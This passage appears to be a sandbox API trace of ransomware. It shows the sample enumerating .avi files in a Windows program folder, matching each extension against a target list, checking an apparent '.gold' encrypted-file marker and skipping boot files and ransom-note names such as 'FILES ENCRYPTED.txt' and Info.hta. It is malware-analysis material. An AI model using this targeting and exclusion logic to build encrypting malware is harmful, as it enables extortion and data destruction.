lstrlenW (lpString="boxed-delete.avi") returned 16 [0035.691] lstrlenW (lpString=".1cd") returned 4 [0035.691] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".3ds") returned 4 [0035.691] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".3fr") returned 4 [0035.691] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".3g2") returned 4 [0035.691] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".3gp") returned 4 [0035.691] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".7z") returned 3 [0035.691] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.691] lstrlenW (lpString=".accda") returned 6 [0035.691] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".accdb") returned 6 [0035.691] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".accdc") returned 6 [0035.691] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".accde") returned 6 [0035.691] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".accdt") returned 6 [0035.691] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".accdw") returned 6 [0035.691] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0035.691] lstrlenW (lpString=".adb") returned 4 [0035.691] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".adp") returned 4 [0035.691] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".ai") returned 3 [0035.691] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.691] lstrlenW (lpString=".ai3") returned 4 [0035.691] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".ai4") returned 4 [0035.691] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".ai5") returned 4 [0035.691] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.691] lstrlenW (lpString=".ai6") returned 4 [0035.691] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".ai7") returned 4 [0035.692] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".ai8") returned 4 [0035.692] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".anim") returned 5 [0035.692] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0035.692] lstrlenW (lpString=".arw") returned 4 [0035.692] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".as") returned 3 [0035.692] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.692] lstrlenW (lpString=".asa") returned 4 [0035.692] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".asc") returned 4 [0035.692] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".ascx") returned 5 [0035.692] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0035.692] lstrlenW (lpString=".asm") returned 4 [0035.692] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".asmx") returned 5 [0035.692] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0035.692] lstrlenW (lpString=".asp") returned 4 [0035.692] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".aspx") returned 5 [0035.692] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0035.692] lstrlenW (lpString=".asr") returned 4 [0035.692] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".asx") returned 4 [0035.692] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.692] lstrlenW (lpString=".avi") returned 4 [0035.692] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.692] lstrlenW (lpString="boxed-delete.avi") returned 16 [0035.692] lstrlenW (lpString=".gold") returned 5 [0035.692] lstrcmpiW (lpString1=".gold", lpString2="e.avi") returned -1 [0035.692] lstrlenW (lpString="boxed-delete.avi") returned 16 [0035.692] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-delete.avi") returned -1 [0035.692] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-delete.avi") returned -1 [0035.692] lstrcmpiW (lpString1="ntldr", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrcmpiW (lpString1="io.sys", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrcmpiW (lpString1="payload.exe", lpString2="boxed-delete.avi") returned 1 [0035.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0035.692] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0035.693] lstrlenW (lpString="boxed-join.avi") returned 14 [0035.693] lstrlenW (lpString=".1cd") returned 4 [0035.693] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".3ds") returned 4 [0035.693] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".3fr") returned 4 [0035.693] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".3g2") returned 4 [0035.693] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".3gp") returned 4 [0035.693] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".7z") returned 3 [0035.693] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.693] lstrlenW (lpString=".accda") returned 6 [0035.693] lstrcmpiW (lpString1=".accda", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".accdb") returned 6 [0035.693] lstrcmpiW (lpString1=".accdb", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".accdc") returned 6 [0035.693] lstrcmpiW (lpString1=".accdc", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".accde") returned 6 [0035.693] lstrcmpiW (lpString1=".accde", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".accdt") returned 6 [0035.693] lstrcmpiW (lpString1=".accdt", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".accdw") returned 6 [0035.693] lstrcmpiW (lpString1=".accdw", lpString2="in.avi") returned -1 [0035.693] lstrlenW (lpString=".adb") returned 4 [0035.693] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".adp") returned 4 [0035.693] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai") returned 3 [0035.693] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.693] lstrlenW (lpString=".ai3") returned 4 [0035.693] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai4") returned 4 [0035.693] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai5") returned 4 [0035.693] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai6") returned 4 [0035.693] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai7") returned 4 [0035.693] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.693] lstrlenW (lpString=".ai8") returned 4 [0035.693] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".anim") returned 5 [0035.694] lstrcmpiW (lpString1=".anim", lpString2="n.avi") returned -1 [0035.694] lstrlenW (lpString=".arw") returned 4 [0035.694] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".as") returned 3 [0035.694] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.694] lstrlenW (lpString=".asa") returned 4 [0035.694] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".asc") returned 4 [0035.694] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".ascx") returned 5 [0035.694] lstrcmpiW (lpString1=".ascx", lpString2="n.avi") returned -1 [0035.694] lstrlenW (lpString=".asm") returned 4 [0035.694] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".asmx") returned 5 [0035.694] lstrcmpiW (lpString1=".asmx", lpString2="n.avi") returned -1 [0035.694] lstrlenW (lpString=".asp") returned 4 [0035.694] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".aspx") returned 5 [0035.694] lstrcmpiW (lpString1=".aspx", lpString2="n.avi") returned -1 [0035.694] lstrlenW (lpString=".asr") returned 4 [0035.694] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".asx") returned 4 [0035.694] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.694] lstrlenW (lpString=".avi") returned 4 [0035.694] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.694] lstrlenW (lpString="boxed-join.avi") returned 14 [0035.694] lstrlenW (lpString=".gold") returned 5 [0035.694] lstrcmpiW (lpString1=".gold", lpString2="n.avi") returned -1 [0035.694] lstrlenW (lpString="boxed-join.avi") returned 14 [0035.694] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-join.avi") returned -1 [0035.694] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-join.avi") returned -1 [0035.694] lstrcmpiW (lpString1="ntldr", lpString2="boxed-join.avi") returned 1 [0035.694] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-join.avi") returned 1 [0035.694] lstrcmpiW (lpString1="io.sys", lpString2="boxed-join.avi") returned 1 [0035.694] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-join.avi") returned 1 [0035.694] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-join.avi") returned 1 [0035.694] lstrcmpiW (lpString1="payload.exe", lpString2="boxed-join.avi") returned 1 [0035.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0035.694] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0035.694] lstrlenW (lpString="boxed-split.avi") returned 15 [0035.694] lstrlenW (lpString=".1cd") returned 4 [0035.694] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".3ds") returned 4 [0035.695] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".3fr") returned 4 [0035.695] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".3g2") returned 4 [0035.695] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".3gp") returned 4 [0035.695] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".7z") returned 3 [0035.695] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.695] lstrlenW (lpString=".accda") returned 6 [0035.695] lstrcmpiW (lpString1=".accda", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".accdb") returned 6 [0035.695] lstrcmpiW (lpString1=".accdb", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".accdc") returned 6 [0035.695] lstrcmpiW (lpString1=".accdc", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".accde") returned 6 [0035.695] lstrcmpiW (lpString1=".accde", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".accdt") returned 6 [0035.695] lstrcmpiW (lpString1=".accdt", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".accdw") returned 6 [0035.695] lstrcmpiW (lpString1=".accdw", lpString2="it.avi") returned -1 [0035.695] lstrlenW (lpString=".adb") returned 4 [0035.695] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".adp") returned 4 [0035.695] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai") returned 3 [0035.695] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.695] lstrlenW (lpString=".ai3") returned 4 [0035.695] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai4") returned 4 [0035.695] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai5") returned 4 [0035.695] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai6") returned 4 [0035.695] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai7") returned 4 [0035.695] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".ai8") returned 4 [0035.695] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".anim") returned 5 [0035.695] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0035.695] lstrlenW (lpString=".arw") returned 4 [0035.695] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.695] lstrlenW (lpString=".as") returned 3 [0035.696] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.696] lstrlenW (lpString=".asa") returned 4 [0035.696] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".asc") returned 4 [0035.696] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".ascx") returned 5 [0035.696] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0035.696] lstrlenW (lpString=".asm") returned 4 [0035.696] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".asmx") returned 5 [0035.696] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0035.696] lstrlenW (lpString=".asp") returned 4 [0035.696] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".aspx") returned 5 [0035.696] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0035.696] lstrlenW (lpString=".asr") returned 4 [0035.696] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".asx") returned 4 [0035.696] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".avi") returned 4 [0035.696] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.696] lstrlenW (lpString="boxed-split.avi") returned 15 [0035.696] lstrlenW (lpString=".gold") returned 5 [0035.696] lstrcmpiW (lpString1=".gold", lpString2="t.avi") returned -1 [0035.696] lstrlenW (lpString="boxed-split.avi") returned 15 [0035.696] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-split.avi") returned -1 [0035.696] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-split.avi") returned -1 [0035.696] lstrcmpiW (lpString1="ntldr", lpString2="boxed-split.avi") returned 1 [0035.696] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-split.avi") returned 1 [0035.696] lstrcmpiW (lpString1="io.sys", lpString2="boxed-split.avi") returned 1 [0035.696] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-split.avi") returned 1 [0035.696] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-split.avi") returned 1 [0035.696] lstrcmpiW (lpString1="payload.exe", lpString2="boxed-split.avi") returned 1 [0035.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0035.696] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0035.696] lstrlenW (lpString="correct.avi") returned 11 [0035.696] lstrlenW (lpString=".1cd") returned 4 [0035.696] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".3ds") returned 4 [0035.696] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".3fr") returned 4 [0035.696] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.696] lstrlenW (lpString=".3g2") returned 4 [0035.697] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".3gp") returned 4 [0035.697] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".7z") returned 3 [0035.697] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.697] lstrlenW (lpString=".accda") returned 6 [0035.697] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".accdb") returned 6 [0035.697] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".accdc") returned 6 [0035.697] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".accde") returned 6 [0035.697] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".accdt") returned 6 [0035.697] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".accdw") returned 6 [0035.697] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1 [0035.697] lstrlenW (lpString=".adb") returned 4 [0035.697] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".adp") returned 4 [0035.697] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai") returned 3 [0035.697] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.697] lstrlenW (lpString=".ai3") returned 4 [0035.697] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai4") returned 4 [0035.697] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai5") returned 4 [0035.697] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai6") returned 4 [0035.697] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai7") returned 4 [0035.697] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".ai8") returned 4 [0035.697] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".anim") returned 5 [0035.697] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0035.697] lstrlenW (lpString=".arw") returned 4 [0035.697] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".as") returned 3 [0035.697] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.697] lstrlenW (lpString=".asa") returned 4 [0035.697] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.697] lstrlenW (lpString=".asc") returned 4 [0035.697] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".ascx") returned 5 [0035.698] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0035.698] lstrlenW (lpString=".asm") returned 4 [0035.698] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".asmx") returned 5 [0035.698] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0035.698] lstrlenW (lpString=".asp") returned 4 [0035.698] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".aspx") returned 5 [0035.698] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0035.698] lstrlenW (lpString=".asr") returned 4 [0035.698] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".asx") returned 4 [0035.698] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".avi") returned 4 [0035.698] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.698] lstrlenW (lpString="correct.avi") returned 11 [0035.698] lstrlenW (lpString=".gold") returned 5 [0035.698] lstrcmpiW (lpString1=".gold", lpString2="t.avi") returned -1 [0035.698] lstrlenW (lpString="correct.avi") returned 11 [0035.698] lstrcmpiW (lpString1="boot.ini", lpString2="correct.avi") returned -1 [0035.698] lstrcmpiW (lpString1="bootfont.bin", lpString2="correct.avi") returned -1 [0035.698] lstrcmpiW (lpString1="ntldr", lpString2="correct.avi") returned 1 [0035.698] lstrcmpiW (lpString1="ntdetect.com", lpString2="correct.avi") returned 1 [0035.698] lstrcmpiW (lpString1="io.sys", lpString2="correct.avi") returned 1 [0035.698] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="correct.avi") returned 1 [0035.698] lstrcmpiW (lpString1="Info.hta", lpString2="correct.avi") returned 1 [0035.698] lstrcmpiW (lpString1="payload.exe", lpString2="correct.avi") returned 1 [0035.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0035.698] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0035.698] lstrlenW (lpString="delete.avi") returned 10 [0035.698] lstrlenW (lpString=".1cd") returned 4 [0035.698] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".3ds") returned 4 [0035.698] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".3fr") returned 4 [0035.698] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".3g2") returned 4 [0035.698] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".3gp") returned 4 [0035.698] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.698] lstrlenW (lpString=".7z") returned 3 [0035.698] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.699] lstrlenW (lpString=".accda") returned 6 [0035.699] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".accdb") returned 6 [0035.699] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".accdc") returned 6 [0035.699] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".accde") returned 6 [0035.699] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".accdt") returned 6 [0035.699] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".accdw") returned 6 [0035.699] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0035.699] lstrlenW (lpString=".adb") returned 4 [0035.699] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".adp") returned 4 [0035.699] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai") returned 3 [0035.699] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.699] lstrlenW (lpString=".ai3") returned 4 [0035.699] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai4") returned 4 [0035.699] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai5") returned 4 [0035.699] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai6") returned 4 [0035.699] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai7") returned 4 [0035.699] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".ai8") returned 4 [0035.699] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.699] lstrlenW (lpString=".anim") returned 5 [0035.699] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0035.699] lstrlenW (lpString=".arw") returned 4 [0035.700] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".as") returned 3 [0035.700] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.700] lstrlenW (lpString=".asa") returned 4 [0035.700] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".asc") returned 4 [0035.700] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".ascx") returned 5 [0035.700] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0035.700] lstrlenW (lpString=".asm") returned 4 [0035.700] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".asmx") returned 5 [0035.700] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0035.700] lstrlenW (lpString=".asp") returned 4 [0035.700] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".aspx") returned 5 [0035.700] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0035.700] lstrlenW (lpString=".asr") returned 4 [0035.700] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".asx") returned 4 [0035.700] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.700] lstrlenW (lpString=".avi") returned 4 [0035.700] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.700] lstrlenW (lpString="delete.avi") returned 10 [0035.700] lstrlenW (lpString=".gold") returned 5 [0035.700] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 